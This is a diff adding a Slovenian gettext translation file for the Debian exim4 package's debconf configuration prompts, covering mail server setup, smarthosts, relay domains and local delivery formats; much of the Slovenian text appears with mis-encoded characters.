+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2006-12-27 11:28+0100\n"
+"Last-Translator: Matej KovaÄiÄ <matej.kovacic@owca.info>\n"
+"Language-Team: Matej KovaÄiÄ\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Country: SLOVENIA\n"
+"X-Poedit-Bookmarks: 30,-1,-1,-1,-1,-1,-1,-1,-1,-1\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Odstranim neposlano poÅ¡to v Äakalnem imeniku?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"V eximovem Äakalnem imeniku /var/spool/exim4/input je poÅ¡ta, ki Å¡e ni bila "
+"dostavljena. ÄŒe odstranite Exim, bo ostala nedostavljena, vse dokler ne bo "
+"Exim ponovno nameÅ¡Äen."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"ÄŒe ta možnost ni izbrana, se Äakalni imenik obdrži, kar omogoÄa dostavo "
+"sporoÄil iz vrste na kasnejÅ¡i datum, ko je Exim ponovno nameÅ¡Äen."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Namesto tega paketa ponovno konfigurirajte exim4-config"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+#, fuzzy
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Kofiguracija za Exim4 je premeÅ¡Äena v namenski paket exim4-config. Za "
+"ponovno konfiguracijo Exim4 uporabite dpkg-reconfigure exim4-config."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr ""
+"internetno mesto; poÅ¡ta je poslana in sprejeta neposredno s pomoÄjo SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+"pošta je poslano preko pametnega posrednika; sprejeta preko SMTP ali "
+"fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "pošta je poslana preko pametnega posrednika; brez lokalne pošte"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "samo lokalno dostavljanje; brez omrežja"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "trenutno brez konfiguracije"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Splošni tip nastavitve pošte:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Izberite naÄin konfiguracije poÅ¡tnega strežnika, ki najbolj ustreza vaÅ¡im "
+"zahtevam."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+#, fuzzy
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Sistemi z dinamiÄnimi IP naslovi, vkljuÄno s sistemi s klicnim dostopom, naj "
+"bi bili navadno nastavljeni, da poÅ¡iljajo izhodno poÅ¡to drugemu raÄunalniku, "
+"ki se imenuje \"pametni posrednik\" in poskrbi za dostavo. Mnogi prejemniki "
+"namreÄ ne dovoljujejo dohodne poÅ¡te z dinamiÄnih IP - naslvov, zaradi "
+"zaÅ¡Äite pred neželeno poÅ¡to."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Sistem z dinamiÄnim naslovom IP, lahko prejema lastno poÅ¡to, lahko pa se v "
+"celoti onemogoÄi lokalna dostava (razen poÅ¡te za korenski in postmater "
+"raÄun)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Pustim poštni sistem nenastavljen?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+#, fuzzy
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"VaÅ¡ega poÅ¡tnega sistema ne bo mogoÄe uporabljati, dokler ne bo nastavljen. "
+"Nastavite ga lahko kasneje, roÄno ali s pomoÄjo ukaza \"dpkg-reconfigure "
+"exim4-config\" kot root uporabnik."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Poštno ime sistema:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"Domensko ime \"mail name\" se uporablja kot doloÄilo \"qualify\" poÅ¡tnih "
+"naslovov brez domenskega imena."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"To ime bodo uporabljali tudi drugi programi. Naj bo celovito polno domensko "
+"ime (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Na primer, Äe je poÅ¡tni naslov lokalnega gostitelja foo@domain.example, "
+"potem bi bila pravilna vrednost te možnosti domain.example."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"V vrsticah Od: izhodnih pisem to ime ne bo vidno, Äe bo omogoÄno "
+"prepisovanje."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Ostali naslovi, za katere je pošta sprejeta:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+#, fuzzy
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Vnesite s podpiÄji loÄen seznam prejemnih domen, ki poleg lokalnega "
+"gostiteljskega imena (${fqdn}) in \"localhost\", predstavljajo konÄni cilj "
+"za ta raÄunalnik. ObiÄajno poimenovanje teh domen je \"local domains\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Privzeto se vse lokalne domene obravnava enako. ÄŒe sta domeni a.primer in b."
+"primer lokalni domeni, bosta acc@a.primer in acc@b.primer dostavljeni na "
+"isti ciljni naslov. ÄŒe naj bi bile razliÄne domene obravnavane razliÄno, je "
+"potrebno to nastaviti v datotekah config."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domene za katere naj posredujem pošto:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Vnesite seznam domen, loÄenih s podpiÄji, na katere bo sistem posredoval "
+"pošto, na primer kot fallback MX ali poštni prehod. Tak sistem bo pošto za "
+"izbrane domene sprejel od povsod, naprej pa jo bo dostavil po pravilih za "
+"lokalno dostavo."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"Na tem mestu ne omenjajte lokalnih domen. Uporabite lahko nadomestna imena."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "RaÄunalniki za katere naj bo posredovana poÅ¡ta:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+#, fuzzy
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Vnesite seznam obsegov naslovov IP, loÄenih s podpiÄji, za katere bo sistem "
+"nakljuÄno posredoval poÅ¡to, kot pametni posrednik."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Uporabljajte standardno obliko naslova/predpone (npr. 194.222.242.0/24 ali "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Pustite seznam prazen, Äe ne želite da sistem deluje kot pametni posrednik."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Vidne domene za lokalne uporabnike:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"OmogoÄeno je bilo skrivanje lokalnega poÅ¡tnega imena v odhajajoÄi poÅ¡ti. "
+"Zato je potrebno doloÄiti domensko ime, ki naj ga sistem uporablja v "
+"domenskem delu lokalnega naslova pošiljatelja."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Naslov IP ali gostiteljsko ime odhodnega pametnega posrednika:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Vnesite naslov IP ali gostiteljsko ime poštnega strežnika, ki bo uporabljen "
+"kot izhodni pametni posrednik. Če pametni posrednik ne sprejma pošte na "
+"vrata TCP/25, pripiÅ¡ite dve dvopiÄji in Å¡tevilko vrat (na primer smarthost."
+"example::587 ali 192.168.254.254::2525). DvopiÄja v naslovih IPv6 je "
+"potrebno podvojiti."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+#, fuzzy
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"VeÄ o nastavitvah SMTP avtentikacije za pametni posrednik preberite v /usr/"
+"share/doc/exim4-base/README.Debian.gz."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Naslovnik root in postmaster pošte:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"PoÅ¡ta za raÄuna \"postmaster\", \"root\"in ostale sistemske raÄune mora biti "
+"preusmerjena na raÄun dejanskega skrbnika sistema."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Če je ta vrednost prazna, bo pošta shranjena v /var/mail/mail, vendar pa to "
+"ni priporoÄeno."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"PoÅ¡ta za raÄun postmaster naj bo brana na sistemu, kamor je usmerjena in naj "
+"ne bo posredovana dalje. Uporabniki (ali vsaj eden izmed njih) iz tega "
+"seznama naj ne posredujejo poÅ¡te iz tega raÄunalnika. Za vsilitev lokalne "
+"dostave uporabite predpono \"real-\" ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid "Multiple user names need to be separated by spaces."
+msgstr "UporabniÅ¡ka imena loÄite s presledki."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP-naslov, ki naj posluÅ¡a prihajajoÄe SMTP povezave:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Vnesite s podpiÄji loÄen seznam IP naslovov. Eximov demon za posluÅ¡anje SMTP "
+"bo poslušal vse naslove s seznama."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Če ta vrednost ostane prazna, bo Exim bo poslušal za povezave na vseh "
+"mrežnih vmesnikih."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Če ta sistem pošto prejema samo preko lokalnih storitev, kot je fetchmail "
+"ali poštni program (MUA) povezan z localhost (ne pa tudi od ostalih "
+"gostiteljev), je priporoÄeno prepovedati zunanje povezave na lokalni Exim. "
+"To storite tako, da sem vnesete 127.0.0.1. Tako prepreÄite posluÅ¡anje na "
+"javnih mrežnih vmesnikih."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr ""
+"Pustim Å¡tevilo DNS-zahtevkov minimalno (Klic-na-Zahtevo - Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"V normalnem naÄinu dela Exim poÅ¡ilja DNS-zahtevke ob zagonu, ob sprejemanju "
+"ali poÅ¡iljanju sporoÄil. To omogoÄa manjÅ¡e Å¡tevilo uporabniÅ¡ko doloÄenih "
+"vrednosti v konfiguraciji in lažje beleženje v dnevnik."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Če ta strežnik nima vedno na voljo polnega dostopa do strežnika DNS (je npr. "
+"povezan s klicno povezavo in se povezuje po potrebi), se lahko pojavijo "
+"neželene posledice. Zagon Exima ali Äakalne vrste (Äeprav ni ÄakajoÄih "
+"sproÄil) lahko sproži postopek vzpostavljanja (cenovno neugodne) povezave na "
+"klic."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Izberite to možnost, Äe sistem uprablja Klic-na-Zahtevo (Dial-on-Demand). ÄŒe "
+"sistem uporabja dostop vedno-na-internetu (always-on Internet), je potrebno "
+"to možnost onemogoÄiti."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Konfiguracija poštnega strežnika:"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Razdelim nastavitve v manjše datoteke?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Paketi Debian exim4 so lahko v \"nedeljeni konfiguraciji\", v eni monoliti "
+"datoteki (/etc/exim4/exim4.conf.template) ali v \"deljeni konfiguraciji\", "
+"kjer dejanske konfiguracijske datoteke za Exim predstavlja približno 50 "
+"manjših datotek v /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Nedeljena konfiguracija je bolj primerna za veÄje spremembe in velja za bolj "
+"stabilno, nasprotno pa porazdeljena konfiguracija omogoÄa udoben naÄin za "
+"manjÅ¡e spremembe, vendar je bolj obÄutljiva in se ob neprevidni uporabi "
+"hitro pokvari."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"VeÄ o deljeni in nedeljeni konfiguraiji preberite v /usr/share/doc/exim4-"
+"base/README.Debian.gz."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Skrijem lokalno ime raÄunalnika v odhajajoÄi poÅ¡ti?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+#, fuzzy
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Glava odhajajoÄe poÅ¡te je lahko prepisana, tako da izgleda, kot da je bila "
+"generirana na drugem sistemu. Če boste izbrali to možnost bodo vrednosti "
+"\"${mailname}\", \"localhost\" in \"${dc_other_hostnames}\" v Od, Odgovori, "
+"Pošiljatelj in Povratna-Pot zamenjane."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "oblika mbox v /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Oblika maildir v domaÄem imeniku."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Dostavni naÄin za lokalno poÅ¡to:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim lahko lokalno dostavljeno poÅ¡to shranjuje v razliÄnih oblikah. "
+"Najpogosteje uporabljeni sta mbox in Maildir. mbox shrani celoten poštni "
+"imenik v eno datoteko v /var/mail/. Oblika Maildir pa shrani vsako sporoÄilo "
+"v svoji datoteki v ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"VeÄina poÅ¡tnih orodij za Debian ima privzeto metodo lokalne dostave mbox."
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Premaknem nedostavljeno poÅ¡to iz Äakalnega imenika exim(v3) v exim4?"
+
+#, fuzzy
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "V Äakalnem imeniku exim(v3) (ali exim-tls(v3)) /var/spool/exim/input/ je "
+#~ "nedostavljena pošta."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "SporoÄila bodo premeÅ¡Äena v Äakalno vrsto exim4 (/var/spool/exim4/"
+#~ "input/) , Äe izberete to možnost. Nato bo z njimi upravljal exim4."
+
+#, fuzzy
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Deluje enosmerno: Exim4 lahko upravlja s Äakalnim imenikom exim(v3), ne "
+#~ "pa tudi obratno. SporoÄila premaknite le Äe ne naÄrtujete vrnitve na exim"
+#~ "(v3). DrugaÄe sporoÄila roÄno premaknite pozneje."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Exim ne bo izvedel lokalnih dostav, Äe je ta sezam prazen."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Vedite, da to deluje samo v eni smeri. Exim4 lahko upravlja s Äakalno "
+#~ "pošto exim(v3) in ne obratno."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Premaknite poÅ¡to samo v primeru, Äe ne nameravate iti nazaj na exim(v3). "
+#~ "V nasprotnem primeru premaknite poÅ¡to roÄno kasneje, ko boste pretvorili "
+#~ "vaše nastavitve."
+
+#, fuzzy
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "ÄŒe jih je Å¡e kaj, jih vnesite tukaj, loÄene z dvopiÄjem. Lahko pustite "
+#~ "prazno, Äe jih ni niÄ veÄ."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr "Vnesite domene za katere se strinjate, da boste posredovali pošto."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "To so domene za katere ste pripravljeni sprejeti pošto iz kjerkoli na "
+#~ "internetu. Tukaj ne omenjajte lokalnih domen."
+
+#, fuzzy
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Domene, ki jih vnesete tukaj, naj bodo loÄene z dvopiÄji. Uporabite lahko "
+#~ "nadomestni znak (*)."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Ker ste omogoÄili skrivanje lokalnega poÅ¡tnega imena v odhodni poÅ¡ti, "
+#~ "morate doloÄiti domeno, ki jo želite uporabiti za poÅ¡to od lokalnih "
+#~ "uporabnikov; to je navadno raÄunalnik, ki ga uporabljate za sprejemanje "
+#~ "pošte."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Kje bodo vaši uporabniki brali pošto?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr ""
+#~ "RaÄunalnik, ki skrbi za odhodno poÅ¡to tega sistema (pametni posrednik):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr ""
+#~ "Vnesite gostiteljsko ime raÄunalnika, na katerega bo odhodna poÅ¡ta "
+#~ "poslana."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "OmogoÄite to možnost, Äe uporabljate Klic-na-Zahtevo; drugaÄe jo "
+#~ "onemogoÄite."
+
+#, fuzzy
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "Izberite naÄin konfiguracije, ki najbolj ustreza vaÅ¡im potrebam."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "ÄŒe niste prepriÄani, ne uporabite loÄenih nastavitev."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "roÄno pretvori iz roÄno napisanih nastavitev Exim v3"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Želite roÄno nastaviti Exim4?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Izbrali ste možnost, da imate roÄno spisano nastavitev Exim 3. Za "
+#~ "pretvorbo v Exim 4 lahko uporabite orodje exim_convert4r4(8) po konÄani "
+#~ "nastavitvi. Pomagajte si z /usr/share/doc/exim4-base/examples/example."
+#~ "conf.gz in /usr/share/doc/exim4-base/README.Debian.gz.gz!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Dokler vaÅ¡ poÅ¡tni sistem ni nastavljen, bo pokvarjen in ga ne bo mogoÄe "
+#~ "uporabljati."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "Vaše \"poštno ime\" je gostiteljski del naslova, ki bo viden na izhodnih "
+#~ "poÅ¡tnih in noviÄarskih sporoÄilih (sledi uporabniÅ¡kemu imenu in znaku @) "
+#~ "razen, Äe je skrit s prepisovanjem."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Vnesite omrežja lokalnih raÄunalnikov za katere se strinjate, da boste "
+#~ "posredovali pošto."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "To naj vkljuÄuje seznam vseh raÄunalnikov, ki nas bodo uporabili za "
+#~ "pametnega gostitelja."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "Za naslove IPv6 morate uporabiti dvojna dvopiÄja (npr. "
+#~ "5f03::1200::836f::::/48)"
+
